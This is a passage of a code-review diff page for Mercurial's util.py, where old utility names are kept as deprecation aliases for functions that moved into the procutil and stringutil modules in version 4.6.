3830 modname='utils.procutil')
3831 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3831 spawndetached = _deprecatedfunc(procutil.spawndetached, '4.6',
3832 modname='utils.procutil')
3832 modname='utils.procutil')
3833 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3833 sshargs = _deprecatedfunc(procutil.sshargs, '4.6', modname='utils.procutil')
3834 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3834 testpid = _deprecatedfunc(procutil.testpid, '4.6', modname='utils.procutil')
3835 try:
3835 try:
3836 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3836 setprocname = _deprecatedfunc(procutil.setprocname, '4.6',
3837 modname='utils.procutil')
3837 modname='utils.procutil')
3838 except AttributeError:
3838 except AttributeError:
3839 pass
3839 pass
3840 try:
3840 try:
3841 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3841 unblocksignal = _deprecatedfunc(procutil.unblocksignal, '4.6',
3842 modname='utils.procutil')
3842 modname='utils.procutil')
3843 except AttributeError:
3843 except AttributeError:
3844 pass
3844 pass
3845 closefds = procutil.closefds
3845 closefds = procutil.closefds
3846 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3846 isatty = _deprecatedfunc(procutil.isatty, '4.6')
3847 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3847 popen2 = _deprecatedfunc(procutil.popen2, '4.6')
3848 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3848 popen3 = _deprecatedfunc(procutil.popen3, '4.6')
3849 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3849 popen4 = _deprecatedfunc(procutil.popen4, '4.6')
3850 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3850 pipefilter = _deprecatedfunc(procutil.pipefilter, '4.6')
3851 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3851 tempfilter = _deprecatedfunc(procutil.tempfilter, '4.6')
3852 filter = _deprecatedfunc(procutil.filter, '4.6')
3852 filter = _deprecatedfunc(procutil.filter, '4.6')
3853 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3853 mainfrozen = _deprecatedfunc(procutil.mainfrozen, '4.6')
3854 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3854 hgexecutable = _deprecatedfunc(procutil.hgexecutable, '4.6')
3855 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3855 isstdin = _deprecatedfunc(procutil.isstdin, '4.6')
3856 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3856 isstdout = _deprecatedfunc(procutil.isstdout, '4.6')
3857 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3857 shellenviron = _deprecatedfunc(procutil.shellenviron, '4.6')
3858 system = _deprecatedfunc(procutil.system, '4.6')
3858 system = _deprecatedfunc(procutil.system, '4.6')
3859 gui = _deprecatedfunc(procutil.gui, '4.6')
3859 gui = _deprecatedfunc(procutil.gui, '4.6')
3860 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3860 hgcmd = _deprecatedfunc(procutil.hgcmd, '4.6')
3861 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3861 rundetached = _deprecatedfunc(procutil.rundetached, '4.6')
3862
3862
3863 binary = _deprecatedfunc(stringutil.binary, '4.6')
3863 binary = _deprecatedfunc(stringutil.binary, '4.6')
3864 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3864 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
3865 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3865 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
3866 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3866 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
3867 email = _deprecatedfunc(stringutil.email, '4.6')
3867 email = _deprecatedfunc(stringutil.email, '4.6')
3868 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3868 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
3869 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3869 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
3870 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3870 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
3871 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3871 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
3872 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3872 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
3873 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3873 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
3874 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
3874 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now